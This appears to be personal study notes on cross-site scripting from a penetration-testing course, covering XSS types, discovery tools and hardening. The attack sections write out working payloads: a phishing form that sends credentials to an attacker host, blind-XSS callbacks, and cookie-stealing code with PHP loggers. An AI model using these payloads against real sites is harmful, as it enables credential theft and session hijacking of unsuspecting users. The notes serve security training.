Introduction to XSS
Cross-Site Scripting (XSS) is a client-side vulnerability that appears when user input is rendered as executable JavaScript in the browser. The server is not directly compromised, but the user who loads the page can be targeted for phishing, data theft, or session hijacking. The test goal is to confirm execution, identify how the input is handled, and document a realistic impact.
XSS only runs in the browser, so the attack depends on how the page renders or stores input. This is why the same payload can succeed or fail depending on the HTML context. When testing, focus on where the input appears and whether it persists after refresh. Those details determine which attack path is possible.
XSS Types and Behavior
XSS is commonly grouped into Stored, Reflected, and DOM-based types. Stored XSS persists in the backend and triggers whenever a page is loaded. Reflected XSS appears in the response only for that request and is usually delivered by a crafted URL. DOM XSS never touches the backend and is fully processed by client-side JavaScript.
Stored XSS
Stored XSS is the most critical type because the payload is saved and executed for every visitor. A quick test is to inject a payload, refresh the page, and see if it fires again. You can also view the page source with CTRL+U or View Page Source to confirm it is stored. If alert() is blocked, use print() or <plaintext> as safer alternatives.
<script>alert(window.origin)</script>
<script>print()</script>
<plaintext>
Reflected XSS
Reflected XSS occurs when user input is returned in the response without being stored. It is often found in error messages and search results, and it triggers only when the crafted request is repeated. Use the browser Network tab to confirm if the payload is sent via GET or POST. If it is GET, the payload lives in the URL and can be shared with a victim.
DOM-Based XSS
DOM XSS happens when JavaScript reads input and writes it into the DOM without sanitization. You will not see the payload in the server response, and refreshing the page often removes it. This makes it harder to spot in logs but still dangerous for users. The key is to inspect the client-side script and test the exact sink used to render input.
Source and Sink Mapping
A DOM XSS flow is defined by the input source and the sink that writes it into the page. Sources include URL parameters or form fields, while sinks include innerHTML, outerHTML, and document.write(). If a sink writes raw HTML, user input can become executable. This is why the source to sink map is your main indicator of DOM risk.
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);
<img src="" onerror=alert(window.origin)>
Discovery and Testing Workflow
Discovery starts with small payloads and grows into targeted testing based on context. Use a short payload to confirm execution, then expand to context-specific payloads once you know where input lands. Automated tools are useful for coverage, but manual validation is still required for accuracy. When code review is possible, it is the most reliable method.
Quick Validation Payloads
Small payloads confirm whether a field executes JavaScript and what context it is in. alert(window.origin) is a safe baseline, and alert(document.cookie) confirms cookie access. If alert() is blocked, use print() or <plaintext> to show a clear visual change. These tests are fast and help classify the XSS type.
<script>alert(window.origin)</script>
<script>alert(document.cookie)</script>
<script>print()</script>
<plaintext>
Automated Discovery
Most web scanners include XSS checks, including Nessus, Burp Pro, and OWASP ZAP. These tools run passive and active scans to find reflections and DOM issues. Open-source tools like XSStrike, BruteXSS, and XSSer can also help identify input points. Use automated results as leads and always confirm manually before reporting.
XSStrike Setup and Run
XSStrike can identify reflections and generate payloads for specific parameters. It is useful for quick triage and for testing a full URL after submitting a form. If pip fails, a virtual environment is a clean fallback. Keep the scan focused on a single URL to avoid noisy results.
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
python3 -m venv venv
source venv/bin/activate.fish
python -m pip install -r requirements.txt
Manual Discovery and Code Review
Manual testing uses payload lists and careful observation of rendering behavior. PayloadsAllTheThings and PayloadBox provide large lists, but the most reliable approach is still reading code. Code review shows exactly how input flows from source to sink. When possible, combine both methods for strong evidence.
XSS Attack Scenarios
Once execution is confirmed, XSS can be used for defacing, phishing, or session hijacking. Defacing is usually the safest proof-of-concept because it only changes UI elements. Phishing is powerful but must be handled carefully due to user impact. Session hijacking is critical when cookies are not protected with HttpOnly.
Defacing Techniques
Defacing changes visible page elements to show impact without permanent damage. Common targets include the background, the page title, and the main body text. These changes are easy to revert and demonstrate clear risk. Keep the payload short to avoid encoding issues.
<script>document.body.style.background = "#141d2b"</script>
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>
<script>document.title = "HackTheBox Academy"</script>
<script>document.getElementsByTagName('body')[0].innerHTML = "New Text"</script>
Phishing Flow
Phishing via XSS injects a fake login form and sends credentials to your server. The basic flow is to insert a form with document.write() and then remove the original input form for credibility. You can also comment out the remaining HTML to hide the original content. This is usually done with reflected XSS because it relies on a crafted URL.
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
document.getElementById('urlform').remove();
...PAYLOAD... <!--
Credential Capture
Netcat is useful for a quick proof that credentials are being sent. It does not handle HTTP well, so a small PHP handler is cleaner for realistic demos. The PHP script logs credentials and redirects the user to reduce suspicion. Use this only in authorized tests and keep evidence for reporting.
sudo nc -lvnp 80
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://OUR_IP/phishing/index.php");
fclose($file);
exit();
}
?>
mkdir /tmp/tmpserver
cd /tmp/tmpserver
nano index.php
sudo php -S 0.0.0.0:80
And we have the credentials in the file creds.txt.
Blind XSS Detection
Blind XSS triggers on pages you cannot see, such as admin panels. The standard approach is to inject a payload that calls back to your server. When you see a request, you know the payload executed and which field triggered it. This is common in contact forms, support tickets, and profile pages.
mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
<script>$.getScript("http://OUR_IP")</script>
Session Hijacking
Session hijacking uses XSS to read cookies and send them back to your host. This works only if cookies are not HttpOnly and the app does not bind sessions to other factors. A common payload uses a hidden image request to send document.cookie. After capture, you can add the cookie in browser storage and refresh the page to test access.
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
And now we have the cookies in the file cookies.txt.
XSS Prevention and Hardening
Preventing XSS requires validation, sanitization, and output encoding at both front and back ends. Client-side checks improve UX but can be bypassed, so server-side validation is mandatory. If user input must be shown, encode it before rendering. These steps reduce both stored and DOM-based risk.
Front-End Validation and Sanitization
Front-end validation helps reject obvious invalid input, such as malformed emails. Sanitization should remove or escape risky characters before writing to the DOM. DOMPurify is a standard library for safe HTML sanitization. Avoid sinks like innerHTML when a text-based alternative exists.
function validateEmail(email) {
const re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test($("#login input[name=email]").val());
}
<script type="text/javascript" src="dist/purify.min.js"></script>
let clean = DOMPurify.sanitize(dirty);
Back-End Validation and Output Encoding
Back-end validation rejects invalid input before it is stored or displayed. PHP can validate email input with filter_var and sanitize with addslashes. Output encoding with htmlentities or htmlspecialchars prevents raw HTML from being executed. This is critical when user input must be displayed as text.
if (filter_var($_GET['email'], FILTER_VALIDATE_EMAIL)) {
// do task
} else {
// reject input
}
addslashes($_GET['email']);
htmlentities($_GET['email']);
import encode from 'html-entities';
encode('<'); // -> '<'
Server-Side Security Headers
Server configuration can reduce XSS impact even when a bug exists. Use HTTPS everywhere and set X-Content-Type-Options=nosniff to prevent content sniffing. Apply a strict Content Security Policy such as script-src 'self' to limit script sources. Use HttpOnly and Secure flags to protect cookies from JavaScript and enforce HTTPS.
Reference
This article is based on my personal study notes from the Information Security Foundations track.
Full repository: https://github.com/lameiro0x/pentesting-path-htb